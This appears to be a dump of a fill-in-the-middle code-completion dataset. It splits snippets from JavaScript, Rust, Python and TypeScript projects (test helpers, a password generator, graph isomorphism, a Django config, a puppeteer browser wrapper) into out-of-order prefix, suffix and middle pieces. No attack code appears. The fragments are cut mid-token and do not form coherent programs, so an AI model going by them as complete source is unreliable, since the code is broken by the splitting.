* @param {*} a The first object.
* @param {*} b The second object.
* @return {boolean} Whether they are equal.
* @private
*/
var _equals = function... | {
this.fail("Assertion "+a+" is false failed.", reject);
} | conditional_block |
Test.js | /** This is a namespace that allows tests to be ran.
* @since 0.0.20-alpha
* @namespace
* @alias test
*/
var test = {};
/** The currently running test package, should be set at the top of every testing package.
* @type string
*/
test.package = "";
/** The test results, as an object, where each key ... | (a, b, reject) {
if(!_equals(a, b)) {
this.fail("Assertion "+a+" = "+b+" failed.", reject);
}
}
/** Fails the test if the assertion that the arguments are not equal fails.
* @param {*} a The first object.
* @param {*} b The second object.
* @param {function()} reject If it fails, this function... | assertEqual | identifier_name |
Test.js | /** This is a namespace that allows tests to be ran.
* @since 0.0.20-alpha
* @namespace
* @alias test
*/
var test = {};
/** The currently running test package, should be set at the top of every testing package.
* @type string
*/
test.package = "";
/** The test results, as an object, where each key ... | for(var i = data.packages.length-1; i >= 0; i--) {
importl.push(load.import(data.packages[i][1][0]));
}
return Promise.all(importl);
});
};
/** Registers a function as a test; it will be called when tests are ran.
* @param {string} pack The package name of the test function.
* @param {functio... | test.loadTests = function(url) {
return load.importList(url).then(function(data) {
var importl = [];
| random_line_split |
mod.rs | /*
* This file is part of Master Password.
*
* Master Password is free software: you can redistribute it and/or modify
* Mit under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Master Pass... | site_counter,
site_variant,
site_context)
}
_ => None,
}
} | site_name,
site_type, | random_line_split |
mod.rs | /*
* This file is part of Master Password.
*
* Master Password is free software: you can redistribute it and/or modify
* Mit under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Master Pass... | (master_key: &[u8; KEY_LENGTH],
site_name: &str,
site_type: &SiteType,
site_counter: &i32,
site_variant: &SiteVariant,
site_context: &str,
algo: &str)
... | password_for_site | identifier_name |
mod.rs | /*
* This file is part of Master Password.
*
* Master Password is free software: you can redistribute it and/or modify
* Mit under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Master Pass... |
pub fn password_for_site(master_key: &[u8; KEY_LENGTH],
site_name: &str,
site_type: &SiteType,
site_counter: &i32,
site_variant: &SiteVariant,
site_context: &str,
algo:... | {
match algo {
"0" | "1" | "2" | "3" => mpw_v3::master_key(full_name, master_password, site_variant),
"next" => mpw_next::master_key(full_name, master_password, site_variant),
_ => None,
}
} | identifier_body |
ServiceFabrikOperation.js | 'use strict';
const _ = require('lodash');
const config = require('../../../common/config');
const CONST = require('../../../common/constants');
const errors = require('../../../common/errors');
const logger = require('../../../common/logger');
const jwt = require('../jwt');
const utils = require('../../../common/util... | .status(202)
.send(body)
);
}
}
module.exports = ServiceFabrikOperation; | random_line_split | |
ServiceFabrikOperation.js | 'use strict';
const _ = require('lodash');
const config = require('../../../common/config');
const CONST = require('../../../common/constants');
const errors = require('../../../common/errors');
const logger = require('../../../common/logger');
const jwt = require('../jwt');
const utils = require('../../../common/util... | () {
return utils
.uuidV4()
.then(guid => _.set(this, 'guid', guid))
.then(() => jwt.sign(this.toJSON(), config.password));
}
updateServiceInstance(token) {
const options = {
parameters: {
'service-fabrik-operation': token
}
};
if (this.runImmediately) {
... | getToken | identifier_name |
ServiceFabrikOperation.js | 'use strict';
const _ = require('lodash');
const config = require('../../../common/config');
const CONST = require('../../../common/constants');
const errors = require('../../../common/errors');
const logger = require('../../../common/logger');
const jwt = require('../jwt');
const utils = require('../../../common/util... |
logger.info(`Lock message : ${lockMsg}`);
throw new DeploymentAlreadyLocked(this.instanceId, undefined, lockMsg);
});
}
handle(req, res) {
if (_.isObject(req.user)) {
this.username = req.user.name;
this.useremail = req.user.email || '';
}
return this
.invoke()
... | {
lockMsg = description.substring(startIdx + lookupString.length);
} | conditional_block |
ServiceFabrikOperation.js | 'use strict';
const _ = require('lodash');
const config = require('../../../common/config');
const CONST = require('../../../common/constants');
const errors = require('../../../common/errors');
const logger = require('../../../common/logger');
const jwt = require('../jwt');
const utils = require('../../../common/util... |
getToken() {
return utils
.uuidV4()
.then(guid => _.set(this, 'guid', guid))
.then(() => jwt.sign(this.toJSON(), config.password));
}
updateServiceInstance(token) {
const options = {
parameters: {
'service-fabrik-operation': token
}
};
if (this.runImmediate... | {
return _.pick(this, 'name', 'guid');
} | identifier_body |
isomorphism.rs | fn push_mapping<N, E>(&mut self, from: NodeIndex<Ix>, to: NodeIndex<Ix>,
g: &Graph<N, E, Ty, Ix>)
{
self.generation += 1;
let s = self.generation;
self.mapping[from.index()] = to;
// update T0 & T1 ins/outs
// T0out: Node in G0 not in M0 but suc... | OpenList::Other => st[0].next_rest_index(start),
}.map(|c| c + start); // compensate for start offset.
nx = match cand0 { | random_line_split | |
isomorphism.rs | **from** <-> **to** to the state.
pub fn push_mapping<N, E>(&mut self, from: NodeIndex<Ix>, to: NodeIndex<Ix>,
g: &Graph<N, E, Ty, Ix>)
{
self.generation += 1;
let s = self.generation;
self.mapping[from.index()] = to;
// update T0 & T1 ins/outs
... | }
/// Find the next (least) node in the Tout set.
pub fn next_out_index(&self, from_index: usize) -> Option<usize>
{
self.out[from_index..].iter()
.enumerate()
.filter(|&(index, elt)| *elt > 0 && self.mapping[from_index + index] == NodeIndex::end())
... | for ix in g.neighbors_directed(from, Incoming) {
if self.ins[ix.index()] == s {
self.ins[ix.index()] = 0;
self.ins_size -= 1;
}
}
}
| conditional_block |
isomorphism.rs | **from** <-> **to** to the state.
pub fn push_mapping<N, E>(&mut self, from: NodeIndex<Ix>, to: NodeIndex<Ix>,
g: &Graph<N, E, Ty, Ix>)
{
self.generation += 1;
let s = self.generation;
self.mapping[from.index()] = to;
// update T0 & T1 ins/outs
... | let mut open_list = OpenList::Out;
let mut to_index;
let mut from_index = None;
// Try the out list
to_index = st[1].next_out_index(0);
if to_index.is_some() {
from_index = st[0].next_out_index(0);
open_list = OpenList::Out;
}
// Try the in list
if to_index.is_none... | let g = [g0, g1];
let graph_indices = 0..2;
let end = NodeIndex::end();
// if all are mapped -- we are done and have an iso
if st[0].is_complete() {
return Some(true)
}
// A "depth first" search of a valid mapping from graph 1 to graph 2
// F(s, n, m) -- evaluate state s and add... | identifier_body |
isomorphism.rs | **from** <-> **to** to the state.
pub fn push_mapping<N, E>(&mut self, from: NodeIndex<Ix>, to: NodeIndex<Ix>,
g: &Graph<N, E, Ty, Ix>)
{
self.generation += 1;
let s = self.generation;
self.mapping[from.index()] = to;
// update T0 & T1 ins/outs
... | E>(&mut self, from: NodeIndex<Ix>,
g: &Graph<N, E, Ty, Ix>)
{
let s = self.generation;
self.generation -= 1;
// undo (n, m) mapping
self.mapping[from.index()] = NodeIndex::end();
// unmark in ins and outs
for ix in g.neighbors(from) {
... | mapping<N, | identifier_name |
regions-variance-invariant-use-covariant.rs | // Copyright 2012 The Rust Project Developers. See the COPYRIGHT
// file at the top-level directory of this distribution and at
// http://rust-lang.org/COPYRIGHT.
//
// Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
// <LICENSE-MIT or ... | f: &'a mut &'a isize
}
fn use_<'b>(c: Invariant<'b>) {
// For this assignment to be legal, Invariant<'b> <: Invariant<'static>.
// Since 'b <= 'static, this would be true if Invariant were covariant
// with respect to its parameter 'a.
let _: Invariant<'static> = c; //~ ERROR mismatched types
}
... |
struct Invariant<'a> { | random_line_split |
regions-variance-invariant-use-covariant.rs | // Copyright 2012 The Rust Project Developers. See the COPYRIGHT
// file at the top-level directory of this distribution and at
// http://rust-lang.org/COPYRIGHT.
//
// Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
// <LICENSE-MIT or ... | () { }
| main | identifier_name |
__init__.py | # -*- coding: utf-8 -*-
# __
# /__) _ _ _ _ _/ _
# / ( (- (/ (/ (- _) / _)
# /
"""
Requests HTTP library
~~~~~~~~~~~~~~~~~~~~~
Requests is an HTTP library, written in Python, for human beings. Basic GET
usage:
>>> import requests
>>> r = requests.get('https://www.python.org')
>>> ... | )
# Set default logging handler to avoid "No handler found" warnings.
import logging
try: # Python 2.7+
from logging import NullHandler
except ImportError:
class NullHandler(logging.Handler):
def emit(self, record):
pass
logging.getLogger(__name__).addHandler(NullHandler()) | RequestException, Timeout, URLRequired,
TooManyRedirects, HTTPError, ConnectionError | random_line_split |
__init__.py | # -*- coding: utf-8 -*-
# __
# /__) _ _ _ _ _/ _
# / ( (- (/ (/ (- _) / _)
# /
"""
Requests HTTP library
~~~~~~~~~~~~~~~~~~~~~
Requests is an HTTP library, written in Python, for human beings. Basic GET
usage:
>>> import requests
>>> r = requests.get('https://www.python.org')
>>> ... |
logging.getLogger(__name__).addHandler(NullHandler())
| def emit(self, record):
pass | identifier_body |
__init__.py | # -*- coding: utf-8 -*-
# __
# /__) _ _ _ _ _/ _
# / ( (- (/ (/ (- _) / _)
# /
"""
Requests HTTP library
~~~~~~~~~~~~~~~~~~~~~
Requests is an HTTP library, written in Python, for human beings. Basic GET
usage:
>>> import requests
>>> r = requests.get('https://www.python.org')
>>> ... | (self, record):
pass
logging.getLogger(__name__).addHandler(NullHandler())
| emit | identifier_name |
NodeConnection.js | : " + err);
}
});
return deferred.promise();
}
/**
* Provides an interface for interacting with the node server.
* @constructor
*/
function NodeConnection() {
this.domains = {};
this._registeredModules = [];
this._pendingInterf... | {
deferred.reject("this.domains.base is undefined");
} | conditional_block | |
NodeConnection.js | * @private
* Helper function to attempt a single connection to the node server
*/
function attemptSingleConnect() {
var deferred = $.Deferred();
var port = null;
var ws = null;
setDeferredTimeout(deferred, CONNECTION_TIMEOUT);
brackets.app.getNodeState(fun... |
self._ws = ws;
self._port = port;
self._ws.onmessage = self._receive.bind(self);
// refresh the current domains, then re-register any
// "autoregister" modules
self._refreshInterface().then(
function () {
... | {
self._cleanup();
deferred.reject(err);
} | identifier_body |
NodeConnection.js | boolean} autoReconnect Whether to automatically try to
* reconnect to the server if the connection succeeds and then
* later disconnects. Note if this connection fails initially, the
* autoReconnect flag is set to false. Future calls to connect()
* can reset it to true
* @return {jQ... | makeCommandFunction | identifier_name | |
NodeConnection.js | * @type {number}
*/
var RETRY_DELAY = 500; // 1/2 second
/**
* Maximum value of the command ID counter
* @type {number}
*/
var MAX_COUNTER_VALUE = 4294967295; // 2^32 - 1
/**
* @private
* Helper function to auto-reject a deferred after a given amount o... |
/**
* Milliseconds to wait before retrying connecting | random_line_split | |
settings.py | import os
def ruta_abs(x):
return os.path.join(os.path.abspath(os.path.dirname(__file__)), x)
# Django settings for introDjango project.
DEBUG = True
TEMPLATE_DEBUG = DEBUG
ADMINS = (
# ('Your Name', 'your_email@example.com'),
)
MANAGERS = ADMINS
DATABASES = {
'default': {
'ENGINE': 'django.db... | # Additional locations of static files
STATICFILES_DIRS = (
# Put strings here, like "/home/html/static" or "C:/www/django/static".
# Always use forward slashes, even on Windows.
# Don't forget to use absolute paths, not relative paths.
)
# List of finder classes that know how to find static files in
# var... |
# URL prefix for static files.
# Example: "http://media.lawrence.com/static/"
STATIC_URL = '/static/'
| random_line_split |
settings.py | import os
def | (x):
return os.path.join(os.path.abspath(os.path.dirname(__file__)), x)
# Django settings for introDjango project.
DEBUG = True
TEMPLATE_DEBUG = DEBUG
ADMINS = (
# ('Your Name', 'your_email@example.com'),
)
MANAGERS = ADMINS
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3', # A... | ruta_abs | identifier_name |
settings.py | import os
def ruta_abs(x):
|
# Django settings for introDjango project.
DEBUG = True
TEMPLATE_DEBUG = DEBUG
ADMINS = (
# ('Your Name', 'your_email@example.com'),
)
MANAGERS = ADMINS
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3', # Add 'postgresql_psycopg2', 'mysql', 'sqlite3' or 'oracle'.
'NAME': r... | return os.path.join(os.path.abspath(os.path.dirname(__file__)), x) | identifier_body |
count.directive.d.ts | import { EventEmitter, ChangeDetectorRef, OnDestroy, ElementRef } from '@angular/core';
/**
* Count up component
*
* Loosely inspired by:
* - https://github.com/izupet/angular2-counto
* - https://inorganik.github.io/countUp.js/
*
* @export
* @class CountUpDirective
*/
export declare class CountUpDirective im... | value: any;
formattedValue: string;
private animationReq;
private _countDecimals;
private _countTo;
private _countFrom;
constructor(cd: ChangeDetectorRef, element: ElementRef);
ngOnDestroy(): void;
start(): void;
} | countChange: EventEmitter<{}>;
countFinish: EventEmitter<{}>;
nativeElement: any; | random_line_split |
count.directive.d.ts | import { EventEmitter, ChangeDetectorRef, OnDestroy, ElementRef } from '@angular/core';
/**
* Count up component
*
* Loosely inspired by:
* - https://github.com/izupet/angular2-counto
* - https://inorganik.github.io/countUp.js/
*
* @export
* @class CountUpDirective
*/
export declare class | implements OnDestroy {
private cd;
countDuration: number;
countPrefix: string;
countSuffix: string;
valueFormatting: any;
countDecimals: number;
countTo: any;
countFrom: any;
countChange: EventEmitter<{}>;
countFinish: EventEmitter<{}>;
nativeElement: any;
value: any;
... | CountUpDirective | identifier_name |
S15.4.4.9_A5.1.js | // Copyright 2009 the Sputnik authors. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/*---
info: The length property of shift has the attribute DontEnum
es5id: 15.4.4.9_A5.1
description: Checking use propertyIsEnumerable, for-in
---*/
//CHECK#1
if (Array.prototype.shift.... |
}
if (result !== true) {
$ERROR('#2: result = true; for (p in Array.prototype.shift) { if (p === "length") result = false; } result === true;');
}
| {
result = false;
} | conditional_block |
S15.4.4.9_A5.1.js | // Copyright 2009 the Sputnik authors. All rights reserved.
// This code is governed by the BSD license found in the LICENSE file.
/*---
info: The length property of shift has the attribute DontEnum
es5id: 15.4.4.9_A5.1
description: Checking use propertyIsEnumerable, for-in
---*/
//CHECK#1
if (Array.prototype.shift.... | //CHECK#2
var result = true;
for (var p in Array.prototype.shift){
if (p === "length") {
result = false;
}
}
if (result !== true) {
$ERROR('#2: result = true; for (p in Array.prototype.shift) { if (p === "length") result = false; } result === true;');
} | $ERROR('#1: Array.prototype.shift.propertyIsEnumerable(\'length\') === false. Actual: ' + (Array.prototype.shift.propertyIsEnumerable('length')));
}
| random_line_split |
Fibonacci.ts | import { Project, TestHelper, DataHelper } from '../Projects'
import { Runners } from "../Runners"
import { Result } from "../Result"
import { List } from "../../functional/List"
import { Tuple } from "../../functional/Tuple"
export namespace Fibonacci {
export function init(): Project<any, any, any, any> {
| function doTest(n:number, iff: string, is: string, off: string, os: string): string {
if (iff != off) return "For pair #" + n + " the first test (index or closest) fails. Expected: '" + off + "', got: '" + iff + "'. "
else if (is != os) return "For pair #" + n + " the second test (value at index) fa... | const data = List.mk([1, 2, 75, 9, 23, 14, 120, 42], [8, -4, 0, 12, 20, 20, 1284, 42], [1, 1, 2584, 37, 145, 12, 543, 9]).map(a => List.apply(a).map(a => a.toString()))
const results = List.mk([89, 89, 21, 987, 144, 701408733], [3, 136, 8, 6388, 1508, 252983944], [17, 39088169, 144, 233, 610, 55]).map(a... | identifier_body |
Fibonacci.ts | import { Project, TestHelper, DataHelper } from '../Projects'
import { Runners } from "../Runners"
import { Result } from "../Result"
import { List } from "../../functional/List"
import { Tuple } from "../../functional/Tuple"
export namespace Fibonacci {
export function init(): Project<any, any, any, any> {
... | :number, iff: string, is: string, off: string, os: string): string {
if (iff != off) return "For pair #" + n + " the first test (index or closest) fails. Expected: '" + off + "', got: '" + iff + "'. "
else if (is != os) return "For pair #" + n + " the second test (value at index) fails. Expected: '" + o... | Test(n | identifier_name |
Fibonacci.ts | import { Project, TestHelper, DataHelper } from '../Projects'
import { Runners } from "../Runners"
import { Result } from "../Result"
import { List } from "../../functional/List"
import { Tuple } from "../../functional/Tuple"
export namespace Fibonacci {
export function init(): Project<any, any, any, any> {
... | else if (is != os) return "For pair #" + n + " the second test (value at index) fails. Expected: '" + off + "', got: '" + iff + "'. "
else return ""
}
} | random_line_split | |
dnotify.py | #!/usr/bin/env python
# class to allow watching multiple files and
# calling a callback when any change (size or mtime)
#
# We take exclusive use of SIGIO and maintain a global list of
# watched files.
# As we cannot get siginfo in python, we check every file
# every time we get a signal.
# we report change is size, m... | (self, victim):
if victim in self.files:
self.files.remove(victim)
class file():
def __init__(self, fname, callback):
self.name = fname
try:
stat = os.stat(self.name)
except OSError:
self.ino = 0
self.size = 0
self.mtime = ... | cancel | identifier_name |
dnotify.py | #!/usr/bin/env python
# class to allow watching multiple files and
# calling a callback when any change (size or mtime)
#
# We take exclusive use of SIGIO and maintain a global list of
# watched files.
# As we cannot get siginfo in python, we check every file
# every time we get a signal.
# we report change is size, m... | self.mtime = stat.st_mtime
self.ino = stat.st_ino
self.callback(self)
return True
def cancel(self):
global dirlist
for d in dirlist:
d.cancel(self)
if __name__ == "__main__" :
import signal
##
def ping(f): print "got ", f.name
... | self.size = stat.st_size | random_line_split |
dnotify.py | #!/usr/bin/env python
# class to allow watching multiple files and
# calling a callback when any change (size or mtime)
#
# We take exclusive use of SIGIO and maintain a global list of
# watched files.
# As we cannot get siginfo in python, we check every file
# every time we get a signal.
# we report change is size, m... |
def cancel(self, victim):
if victim in self.files:
self.files.remove(victim)
class file():
def __init__(self, fname, callback):
self.name = fname
try:
stat = os.stat(self.name)
except OSError:
self.ino = 0
self.size = 0
... | newlist = []
for c in self.callbacks:
if c():
newlist.append(c)
self.callbacks = newlist
for f in self.files:
f.check() | identifier_body |
dnotify.py | #!/usr/bin/env python
# class to allow watching multiple files and
# calling a callback when any change (size or mtime)
#
# We take exclusive use of SIGIO and maintain a global list of
# watched files.
# As we cannot get siginfo in python, we check every file
# every time we get a signal.
# we report change is size, m... |
if __name__ == "__main__" :
import signal
##
def ping(f): print "got ", f.name
d = dir("/tmp/n")
a = d.watch("a", ping)
b = d.watch("b", ping)
c = d.watch("c", ping)
while True:
signal.pause()
| d.cancel(self) | conditional_block |
tab.js | colabsShortcodeMeta={
attributes:[
{
label:"Tabs",
id:"content",
controlType:"tab-control"
},
{
label:"Tabber Style",
id:"style",
help:"Set an optional alternate style for the tabber.",
controlType:"select-control",
selectValues:['default', 'boxed', 'vertical'],
defaultValue: 'defaul... |
g += '[tab title="' + tabTitles[t] + '"]' + tabTitles[t] + ' content goes here.[/tab] ';
} // End FOR Loop
g += '[/tabs]';
return g
}
}; | for ( var t in tabTitles ) { | random_line_split |
projection-no-regions-fn.rs | // compile-flags:-Zborrowck=mir -Zverbose
#![allow(warnings)]
trait Anything { }
impl<T> Anything for T { }
fn no_region<'a, T>(mut x: T) -> Box<dyn Anything + 'a>
where
T: Iterator,
{
Box::new(x.next())
//~^ ERROR the associated type `<T as Iterator>::Item` may not live long enough | fn correct_region<'a, T>(mut x: T) -> Box<dyn Anything + 'a>
where
T: 'a + Iterator,
{
Box::new(x.next())
}
fn wrong_region<'a, 'b, T>(mut x: T) -> Box<dyn Anything + 'a>
where
T: 'b + Iterator,
{
Box::new(x.next())
//~^ ERROR the associated type `<T as Iterator>::Item` may not live long enough
}
... | }
| random_line_split |
projection-no-regions-fn.rs | // compile-flags:-Zborrowck=mir -Zverbose
#![allow(warnings)]
trait Anything { }
impl<T> Anything for T { }
fn no_region<'a, T>(mut x: T) -> Box<dyn Anything + 'a>
where
T: Iterator,
{
Box::new(x.next())
//~^ ERROR the associated type `<T as Iterator>::Item` may not live long enough
}
fn correct_region... | <'a, 'b, T>(mut x: T) -> Box<dyn Anything + 'a>
where
T: 'b + Iterator,
'b: 'a,
{
Box::new(x.next())
}
fn main() {}
| outlives_region | identifier_name |
projection-no-regions-fn.rs | // compile-flags:-Zborrowck=mir -Zverbose
#![allow(warnings)]
trait Anything { }
impl<T> Anything for T { }
fn no_region<'a, T>(mut x: T) -> Box<dyn Anything + 'a>
where
T: Iterator,
{
Box::new(x.next())
//~^ ERROR the associated type `<T as Iterator>::Item` may not live long enough
}
fn correct_region... | {} | identifier_body | |
unary.spec.js | const test = require('tape')
const helpers = require('../test/helpers')
const bindFunc = helpers.bindFunc
const unary = require('./unary')
test('unary helper', t => {
const f = bindFunc(unary) | t.throws(f(0), err, 'throws with falsey number')
t.throws(f(1), err, 'throws with truthy number')
t.throws(f(''), err, 'throws with falsey string')
t.throws(f('string'), err, 'throws with truthy string')
t.throws(f(false), err, 'throws with false')
t.throws(f(true), err, 'throws with true')
t.throws(f({})... |
const err = /unary: Argument must be a Function/
t.throws(f(undefined), err, 'throws with undefined')
t.throws(f(null), err, 'throws with null') | random_line_split |
Browser.js | import { PropTypes, ErrorBoundary } from "webmiddle";
import HttpError from "webmiddle/dist/utils/HttpError";
import puppeteer from "puppeteer";
const giveupErrorCodes = [410];
function isRetryable(err) {
return (
!(err instanceof Error && err.name === "HttpError") ||
giveupErrorCodes.indexOf(err.statusCode)... | (page, context) {
const allCookies = context.cookieManager.jar.toJSON().cookies;
return Promise.all(
allCookies.map(cookie =>
page.setCookie({
name: cookie.key,
value: cookie.value,
domain: cookie.domain,
path: cookie.path,
httpOnly: cookie.httpOnly,
secure:... | pageSetCookies | identifier_name |
Browser.js | import { PropTypes, ErrorBoundary } from "webmiddle";
import HttpError from "webmiddle/dist/utils/HttpError";
import puppeteer from "puppeteer";
const giveupErrorCodes = [410];
function isRetryable(err) {
return (
!(err instanceof Error && err.name === "HttpError") ||
giveupErrorCodes.indexOf(err.statusCode)... |
// read content
contentType =
contentType ||
pageResponse.headers()["content-type"] ||
"text/html";
const contentIsHtml = contentType.match(/html/i) !== null;
let content;
if (contentIsHtml) {
if (waitFor) {
... | {
throw new HttpError(
statusMessage,
pageResponse ? pageResponse.status() : null
);
} | conditional_block |
Browser.js | import { PropTypes, ErrorBoundary } from "webmiddle";
import HttpError from "webmiddle/dist/utils/HttpError";
import puppeteer from "puppeteer";
const giveupErrorCodes = [410];
function isRetryable(err) {
return (
!(err instanceof Error && err.name === "HttpError") ||
giveupErrorCodes.indexOf(err.statusCode)... | onRequest = request => {
if (
request.frame() === page.mainFrame() &&
(isFetch || request.resourceType() === "document") &&
request.redirectChain().length === 0
) {
page.removeListener("request", onRequest);
page.setExtraHTTPHeaders({});
}
};
page.on... | let onRequest = null;
try {
// extra http requests only for the initial request | random_line_split |
Browser.js | import { PropTypes, ErrorBoundary } from "webmiddle";
import HttpError from "webmiddle/dist/utils/HttpError";
import puppeteer from "puppeteer";
const giveupErrorCodes = [410];
function isRetryable(err) {
return (
!(err instanceof Error && err.name === "HttpError") ||
giveupErrorCodes.indexOf(err.statusCode)... | if (method === "GET") {
await page.evaluate(`window.location.href = ${JSON.stringify(url)}`);
pageResponse = await page.waitForNavigation({
waitUntil: "domcontentloaded"
});
} else if (
headers["content-type"] === "application/x-www-form-urlencoded"
) {
const formData =... | {
const { method, headers, body } = options;
let pageResponse = null;
let isFetch = false;
let onRequest = null;
try {
// extra http requests only for the initial request
onRequest = request => {
if (
request.frame() === page.mainFrame() &&
(isFetch || request.resourceType() === ... | identifier_body |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.